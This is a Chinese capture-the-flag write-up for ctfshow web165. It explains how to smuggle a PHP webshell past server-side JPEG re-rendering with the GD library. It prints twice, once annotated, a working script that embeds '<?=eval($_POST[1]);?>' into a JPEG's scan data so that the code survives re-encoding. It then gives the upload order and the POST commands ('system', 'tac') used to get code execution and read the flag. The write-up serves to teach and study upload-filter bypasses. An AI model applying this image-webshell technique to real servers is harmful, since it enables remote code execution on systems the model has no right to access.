ctfshow-web165(会一题通一类保姆级wp)

一.脚本解读

开靶机的时候说是二次渲染2.0版本,然后这里F12看源码可以看到是只允许上传jpg格式的图片:

所以之前那个png脚本用不了了,得换一个:

php 复制代码
<?php
    /*
    The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
    It is necessary that the size and quality of the initial image are the same as those of the processed image.
    1) Upload an arbitrary image via secured files upload script
    2) Save the processed image and launch:
    jpg_payload.php <jpg_name.jpg>
    In case of successful injection you will get a specially crafted image, which should be uploaded again.
    Since the most straightforward injection method is used, the following problems can occur:
    1) After the second processing the injected data may become partially corrupted.
    2) The jpg_payload.php script outputs "Something's wrong".
    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
    Sergey Bobrov @Black2Fan.
    See also:
    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
    */
		
    $miniPayload = "<?=eval(\$_POST[1]);?>"; //注意$转义
 
 
    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }
 
    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }
 
    set_error_handler("custom_error_handler");
 
    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;
 
        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }
 
        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');
 
    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }
 
    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }
 
    class DataInputStream {
        private $binData;
        private $order;
        private $size;
 
        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }
 
        public function seek() {
            return ($this->size - strlen($this->binData));
        }
 
        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }
 
        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }
 
        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }
 
        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

首先依旧是解读脚本:

1. payload(上传的木马)

php 复制代码
$miniPayload = "<?=eval(\$_POST[1]);?>";

**这里要写\是因为在php的双引号字符串中,如果我们直接写**a,那么php会尝试将a当作变量,而在单引号中则不会解析变量。如果在我们的payload里直接写,那么

PHP 在解析这行代码时会发生:它看到 $_POST,认为我们要访问 当前脚本里的 $_POST 变量, 但这是在命令行脚本$_POST 要么是空,要么是 NULL,最后就相当于:

php 复制代码
$miniPayload = "<?=eval(); ?>";   

而加了\之后就不会再将其视为变量,即不转义

2. 检查环境

php 复制代码
extension_loaded('gd')  //是否加载GD拓展
function_exists('imagecreatefromjpeg')  //这个函数在当前PHP环境中存不存在

确认当前 PHP 运行环境支持JPEG 图片处理(GD 库),否则整个 JPG 注入算法根本没法跑。

3. 解析 JPEG 文件(二进制级)

php 复制代码
$dis = new DataInputStream($argv[1]);

好比把 JPG 当成一条二进制指令流,然后像解析协议一样,一字节一字节地读。

4. 找到 FFDA(SOS)

这里得说明一下jpg的文件结构:

php 复制代码
FFD8 (SOI)    --图片开始
FFE0 (APP0)   --附加信息
...
FFDA (SOS)  ← 开始图片数据
[压缩数据]
FFD9 (EOI)    --图片结束
php 复制代码
if($marker === 0xDA) {

这是 JPEG 的 Start Of Scan图片真正的数据开始。

5. 暴力尝试 null byte 填充

php 复制代码
for($pad = 0; $pad < 1024; $pad++) {
    str_repeat("\0",$nullbytePayloadSize)
}

GD 在处理 JPG 时可能会吃掉、重排、截断数据所以:

不知道 payload 会不会被破坏,就尝试 0~1023 个 \0 填充 找一个「刚好不坏的位置


6. 用 GD 自测是否还能解析

php 复制代码
imagecreatefromjpeg($filename);

如果成功,那么就说明payload已经成功生成,我们的图片马已经制作好了。

7.代码详细注释版脚本

如果直接在代码里进行详细注释是这样的:

php 复制代码
<?php
/*
 * 这个脚本的作用:
 * 在 JPEG 图片中"安全地"插入 PHP payload,
 * 并保证该图片在经过 GD 的 imagecreatefromjpeg / imagejpeg
 * 重新编码后仍然是合法 JPG,且 payload 不被破坏。
 */

/* =======================
 * 1. 要注入的 PHP payload
 * ======================= */

// 使用 <?= ?> 短标签,体积小、稳定
// \$ 是因为这是双引号字符串,防止 PHP 把 $_POST 当变量解析
$miniPayload = "<?=eval(\$_POST[1]);?>";


/* =======================
 * 2. 环境检查
 * ======================= */

// 必须加载 gd 扩展,否则无法处理 jpg
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
    die('php-gd is not installed');
}

// 必须通过命令行传入 jpg 文件名
// $argv[1] = 命令行第一个参数(图片路径)
if(!isset($argv[1])) {
    die('php jpg_payload.php <jpg_name.jpg>');
}


/* =======================
 * 3. 设置自定义错误处理
 * ======================= */

// 用于捕获 GD 在解析 JPEG 时的 warning
// 比如:extraneous bytes before marker
set_error_handler("custom_error_handler");


/* =======================
 * 4. 暴力尝试 null byte padding
 * ======================= */

// 不知道插入多少个 \0 才能保证 payload 不被破坏
// 所以从 0~1023 一个一个试
for($pad = 0; $pad < 1024; $pad++) {

    $nullbytePayloadSize = $pad;

    // 用于"按 JPEG 结构"读取图片
    $dis = new DataInputStream($argv[1]);

    // 原始图片的完整二进制内容
    $outStream = file_get_contents($argv[1]);

    // GD 报错时记录"多余字节数"
    $extraBytes = 0;

    // 当前图片是否仍然是合法 JPEG
    $correctImage = TRUE;


    /* =======================
     * 5. 校验 JPEG 文件头
     * ======================= */

    // JPEG 必须以 FF D8(SOI)开头
    if($dis->readShort() != 0xFFD8) {
        die('Incorrect SOI marker');
    }


    /* =======================
     * 6. 按 JPEG marker 结构解析
     * ======================= */

    // 所有 JPEG marker 都以 0xFF 开头
    while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {

        // marker 类型(如 DA、E0、DB 等)
        $marker = $dis->readByte();

        // 当前段长度(包含长度字段本身,所以减 2)
        $size = $dis->readShort() - 2;

        // 跳过该 marker 的数据部分
        $dis->skip($size);


        /* =======================
         * 7. 找到 FFDA(Start Of Scan)
         * ======================= */

        if($marker === 0xDA) {

            // FFDA 后第一个字节的位置
            // 这里是"压缩图像数据区",是唯一安全插 payload 的地方
            $startPos = $dis->seek();


            /* =======================
             * 8. 尝试插入 payload(第一次)
             * ======================= */

            // 构造新的图片数据:
            // 原图前半段 + payload + null padding + 原图后半段
            $outStreamTmp =
                substr($outStream, 0, $startPos) .
                $miniPayload .
                str_repeat("\0", $nullbytePayloadSize) .
                substr($outStream, $startPos);

            // 用 GD 测试该图片是否还能正常解析
            checkImage('_'.$argv[1], $outStreamTmp, TRUE);


            /* =======================
             * 9. 处理 GD 报的"多余字节"问题
             * ======================= */

            if($extraBytes !== 0) {

                // 继续向后扫描,找到真正的图像数据结尾
                while((!$dis->eof())) {
                    if($dis->readByte() === 0xFF) {
                        if($dis->readByte !== 0x00) {
                            break;
                        }
                    }
                }

                // 图像压缩数据的结束位置
                $stopPos = $dis->seek() - 2;

                // 图像数据长度
                $imageStreamSize = $stopPos - $startPos;

                // 重新构造更精确的 payload 插入方式
                $outStream =
                    substr($outStream, 0, $startPos) .
                    $miniPayload .
                    substr(
                        str_repeat("\0", $nullbytePayloadSize) .
                        substr($outStream, $startPos, $imageStreamSize),
                        0,
                        $nullbytePayloadSize + $imageStreamSize - $extraBytes
                    ) .
                    substr($outStream, $stopPos);

            } elseif($correctImage) {
                // 如果图片仍然是合法的,直接使用当前版本
                $outStream = $outStreamTmp;
            } else {
                break;
            }


            /* =======================
             * 10. 最终检测并输出 payload 图片
             * ======================= */

            if(checkImage('payload_'.$argv[1], $outStream)) {
                // 成功生成不会被 GD 破坏的 payload 图片
                die('Success!');
            } else {
                break;
            }
        }
    }
}

// 清理失败生成的文件
unlink('payload_'.$argv[1]);
die('Something\'s wrong');


/* =======================
 * 11. 使用 GD 验证图片是否合法
 * ======================= */

function checkImage($filename, $data, $unlink = FALSE) {
    global $correctImage;

    // 写入临时文件
    file_put_contents($filename, $data);

    $correctImage = TRUE;

    // 尝试用 GD 解析
    imagecreatefromjpeg($filename);

    // 如果是临时测试文件,删除
    if($unlink)
        unlink($filename);

    return $correctImage;
}


/* =======================
 * 12. 捕获 GD warning 的错误处理函数
 * ======================= */

function custom_error_handler($errno, $errstr, $errfile, $errline) {
    global $extraBytes, $correctImage;

    // 一旦报错,说明图片结构可能异常
    $correctImage = FALSE;

    // 提取 "extraneous bytes before marker" 中的字节数
    if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
        if(isset($m[1])) {
            $extraBytes = (int)$m[1];
        }
    }
}


/* =======================
 * 13. 二进制流读取类(核心)
 * ======================= */

class DataInputStream {
    private $binData;
    private $order;
    private $size;

    // 构造函数:读取整个文件到内存
    public function __construct($filename, $order = false, $fromString = false) {
        $this->binData = '';
        $this->order = $order;

        if(!$fromString) {
            if(!file_exists($filename) || !is_file($filename))
                die('File not exists ['.$filename.']');
            $this->binData = file_get_contents($filename);
        } else {
            $this->binData = $filename;
        }

        $this->size = strlen($this->binData);
    }

    // 返回当前读取到的偏移位置
    public function seek() {
        return ($this->size - strlen($this->binData));
    }

    // 跳过指定字节
    public function skip($skip) {
        $this->binData = substr($this->binData, $skip);
    }

    // 读取 1 字节
    public function readByte() {
        if($this->eof()) {
            die('End Of File');
        }
        $byte = substr($this->binData, 0, 1);
        $this->binData = substr($this->binData, 1);
        return ord($byte);
    }

    // 读取 2 字节(JPEG 使用大端序)
    public function readShort() {
        if(strlen($this->binData) < 2) {
            die('End Of File');
        }
        $short = substr($this->binData, 0, 2);
        $this->binData = substr($this->binData, 2);

        if($this->order) {
            return (ord($short[1]) << 8) + ord($short[0]);
        } else {
            return (ord($short[0]) << 8) + ord($short[1]);
        }
    }

    // 是否读到文件末尾
    public function eof() {
        return !$this->binData || (strlen($this->binData) === 0);
    }
}
?>

二.初步尝试

(这里不建议用屏幕截图截取并直接改为jpg后缀,如果直接改了会报**Incorrect SOI marker,**就是说这里不是一个真正的jpg文件,可以用windows自带的图画另存为jpg形象,但是我做的时候最后渲染出来图片直接是损坏了的,所以还是网上找图比较好)

我最开始用的是wp给的图片,先是将脚本和图片放到同一个文件夹 下,然后用cmd或者powershell跑一下,因为我之前用的是VScode里的终端,所以这里也接着用了【可参考web164】,先要将终端切换到当前文件夹所在路径,然后执行:

bash 复制代码
& "D:\xampp\php\php.exe" web165.php m.jpg  //这是在powershell中输入的方式

然后我们就能在同一文件夹下找到payload_1.jpg,进行上传成功后hackbar里post传参1=system('ls'); 开启代理后execute,,再发送到repeater,但是会有一个问题:

我们发现结果是一堆乱码,并没有我们所要的数据,这里其实涉及到了这道题的源码设计问题,下面我会进行讲述。

三:转变上传顺序

既然我们先跑脚本再上传图片不行,那么可以先传图片进行渲染再跑脚本,依旧是拿wp给的一张图片先上传进行渲染,然后跑脚本生成图片马,再上传连bp,这时候就可以看到正确的显示了:

然后我们再tac一下得到flag:

这里为什么先传正常的图片进行渲染之后再跑脚本生成图片马就可以呢,这就要看源码了,因为之前是POST传参1,那么我们可以连一下蚁剑看看源码,这里我直接放出来:

php 复制代码
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
	$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
    $filename = $_FILES["file"]["name"];
    $filesize = ($_FILES["file"]["size"] / 1024);
    if($filesize>1024){
    	$ret = array("code"=>1,"msg"=>"文件超过1024KB");
    }else{
    	if($_FILES['file']['type'] == 'image/jpeg'){
            $arr = pathinfo($filename);
            $ext_suffix = $arr['extension'];
            if(in_array($ext_suffix, array("jpg"))){
                $jpg = imagecreatefromjpeg($_FILES["file"]["tmp_name"]);
                if($jpg==FALSE){
                    $ret = array("code"=>2,"msg"=>"文件类型不合规");
                }else{
                    $dst = 'upload/'.md5($_FILES["file"]["name"]).".jpg";
                    imagejpeg($jpg,$dst);
                    $ret = array("code"=>0,"msg"=>md5($_FILES["file"]["name"]).".jpg");
                }
            }else{
                $ret = array("code"=>3,"msg"=>"只允许上传jpg格式图片");
            }
            
    		
    	}else{
    		$ret = array("code"=>2,"msg"=>"文件类型不合规");
    	}
    	
    }

}


echo json_encode($ret);

这里的关键代码是:

php 复制代码
$jpg = imagecreatefromjpeg($_FILES["file"]["tmp_name"]);  //解释上传的jpg,只保留像素数据和图像信息
...
imagejpeg($jpg,$dst);  //把内存里的像素重新编码,输出一个全新的jpg文件

这就意味着我们直接上传的图片不等于最终服务器保存的图片,那么为什么先上传一次正常的图片再下载渲染后的图片跑脚本再上传就能成功呢?这是为了让本地生成的 payload 图片,和服务器"下一次洗图"使用的 JPEG 编码参数完全一致【 参数归一化**】。**

我们跑脚本用的渲染过的图片生成的图片马再传到服务器虽然结构又变了,但是payload 已经被构造为:在服务器这套 JPEG 编码下,不会被破坏的 Scan 数据 ​再洗一次,行为和本地预演的一模一样。【把服务器的 JPEG 行为变成你可控、可预测的变量】这样再进行图片上传时我们的payload依然还在,即传马成功。

四:对比

1.文件结构层面

|--------------------|-------------------------|
| JPEG(位流 + marker) | PNG(chunk + 字节流) |
| FFD8 SOI | 89 50 4E 47 0D 0A 1A 0A |
| FFDB 量化表 | IHDR |
| FFC0 图像信息 | IDAT ← zlib 压缩数据 |
| FFDA Start Of Scan | IDAT ← zlib 压缩数据 |
| 熵编码 bitstream | IDAT ← zlib 压缩数据 |
| FFD9 EOI | IEND |

JPG:payload 插在 FFDA 后的 bitstream
PNG:payload 藏在 IDAT 解压后的字节数据中

2.GD洗图对比

php 复制代码
JPEG                              PNG
────────────────────────         ────────────────────────
imagecreatefromjpeg              imagecreatefrompng
  ↓ 解码 bitstream                  ↓ inflate(zlib)
  ↓ 得到像素矩阵                    ↓ 得到像素矩阵
imagejpeg                        imagepng
  ↓ 重新熵编码                      ↓ deflate(zlib)
  ↓ 重建 Scan 数据                  ↓ 重建 IDAT + CRC

两者都会 "彻底重写压缩数据" 但 JPEG 是 位级重排 ,PNG 是 字节级重排(打个比方)

字节级重排 = 乐高积木

  • 每块积木 = 1 字节

  • 积木不会被砸碎

  • 只是换位置、压缩、堆叠

PNG 就是乐高


位级重排 = 把沙子倒进搅拌机

  • 原来你有几块砖

  • JPEG 把砖磨成粉

  • 再重新压成另一块砖

JPG 就是搅拌机

(JPEG 一碰就碎 PNG 随便折腾)

3.payload 存活点对比(为什么一个难一个)

php 复制代码
JPEG                              PNG
────────────────────────         ────────────────────────
payload = bitstream 中的噪声       payload = 像素数据中的字节
❗ 需要 bit 对齐                   ✅ 无 bit 对齐问题
❗ pad 不对就炸                    ✅ CRC 重算即可
❗ 高度依赖编码参数                ✅ 压缩算法稳定

五:Q&A

最后来一道源码看看水平:

php 复制代码
<?php
if(isset($_FILES['file'])){
    $name = $_FILES['file']['name'];
    $tmp  = $_FILES['file']['tmp_name'];
    $size = $_FILES['file']['size'];

    if($size > 500 * 1024){
        die('too big');
    }

    $ext = strtolower(pathinfo($name, PATHINFO_EXTENSION));
    if(!in_array($ext, ['jpg','png'])){
        die('bad ext');
    }

    $info = getimagesize($tmp);
    if($info === false){
        die('not image');
    }

    if($info[2] == IMAGETYPE_JPEG){
        $im = imagecreatefromjpeg($tmp);
        $dst = 'upload/'.md5($name).'.jpg';
        imagecopyresampled($im, $im, 0,0,0,0, imagesx($im), imagesy($im), imagesx($im), imagesy($im));
        imagejpeg($im, $dst, 75);
    }
    elseif($info[2] == IMAGETYPE_PNG){
        $im = imagecreatefrompng($tmp);
        $dst = 'upload/'.md5($name).'.png';
        imagecopyresampled($im, $im, 0,0,0,0, imagesx($im), imagesy($im), imagesx($im), imagesy($im));
        imagepng($im, $dst);
    }else{
        die('no');
    }

    echo 'ok';
}

QUESTION:

① 这是"洗图"吗?洗得狠不狠?

(提示:注意 imagecopyresampled

② JPG / PNG 你选哪个?为什么?

(不是"我觉得",要说 机制原因

③ 需不需要「先上传一次正常图片」?

如果需要,说清楚 目的是什么

④ 这是"能稳定打的题",还是"高风险题"?

为什么?

ANWSER:

① 是否洗图:

是,使用了 imagecopyresampled,属于像素级重洗,强度很高。

② 选用格式:

选 PNG。PNG 为无损格式,像素值在 resample 后仍可预测;

JPG 会重新量化和熵编码,payload 极不稳定。

③ 是否需要先传一次:

需要。第一次上传用于获取服务器标准的 resampled PNG,

否则无法预测第二次处理后的像素结果。

④ 风险评估:

PNG 路线为中高风险但可打;

JPG 路线风险极高,实战中通常放弃。

相关推荐
hssfscv4 小时前
Javaweb学习笔记——Web
笔记·学习·web
ChineHe9 小时前
Gin框架基础篇009_日志中间件详解
golang·web·gin
曲幽12 小时前
掌握Fetch与Flask交互:让前端表单提交更优雅的动态之道
python·flask·json·web·post·fetch·response
招风的黑耳1 天前
Web系统原型设计:架构复杂信息,赋能高效工作
axure·原型·web·元件库·系统原型
WebRuntime1 天前
所有64位WinForm应用都是Chromium浏览器(2)
javascript·c#·.net·web
ShoreKiten1 天前
ctfshow-web164
网络安全·web
ShoreKiten1 天前
ctfshow-web163
网络安全·web·rfi
曲幽1 天前
Flask项目一键打包实战:用PyInstaller生成独立可执行文件
python·flask·web·pyinstaller·exe·add-data
talenteddriver1 天前
web: jwt令牌构成、创建的基本流程及原理
java·开发语言·python·网络协议·web